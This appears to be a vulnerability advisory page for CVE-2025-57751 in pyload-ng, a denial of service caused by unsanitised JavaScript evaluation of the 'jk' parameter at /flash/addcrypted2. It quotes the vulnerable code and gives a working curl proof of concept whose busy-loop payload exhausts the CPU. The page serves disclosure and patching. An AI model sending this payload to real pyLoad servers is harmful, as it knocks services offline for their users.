CVE-2025-57751: Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation. Summary The jk parameter is received in pyLoad CNL Blueprint.
Published Aug 21, 2025 · Updated Aug 22, 2025
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- < 0.5.0b3.dev92
- Fixed in
- 0.5.0b3.dev92
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Dear Maintainers, I am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.
Summary
The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.
Details
- Endpoint: flash/addcrypted2
- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123
https://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42
affected code
@bp.route("/flash/addcrypted2", methods=["POST"], endpoint="addcrypted2")
@local_check
def addcrypted2():
package = flask.request.form.get(
"package", flask.request.form.get("source", flask.request.form.get("referer"))
)
crypted = flask.request.form["crypted"]
jk = flask.request.form["jk"]
pack_password = flask.request.form.get("passwords")
crypted = standard_b64decode(unquote(crypted.replace(" ", "+")))
jk = eval_js(f"{jk} f()")
def eval_js(script, es6=False):
if sys.version_info < (3, 12):
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
else:
return dukpy.evaljs(script)PoC
download pyload and run locally, send the following request
- PoC
curl -X POST "http://localhost:8000/flash/addcrypted2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "crypted=SGVsbG8gd29ybGQ=" \
-d "passwords=pyload" \
-d "jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //"The 30_000 can be modified to any large value.
Impact
System resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.
Use the following command to check CPU usage
top -pid $(pgrep -f "pyload.__main__") or
top -pid $(pgrep -f "pyload") The CPU is fully occupied
web-ui unresponsive
Credited to cyjhhh.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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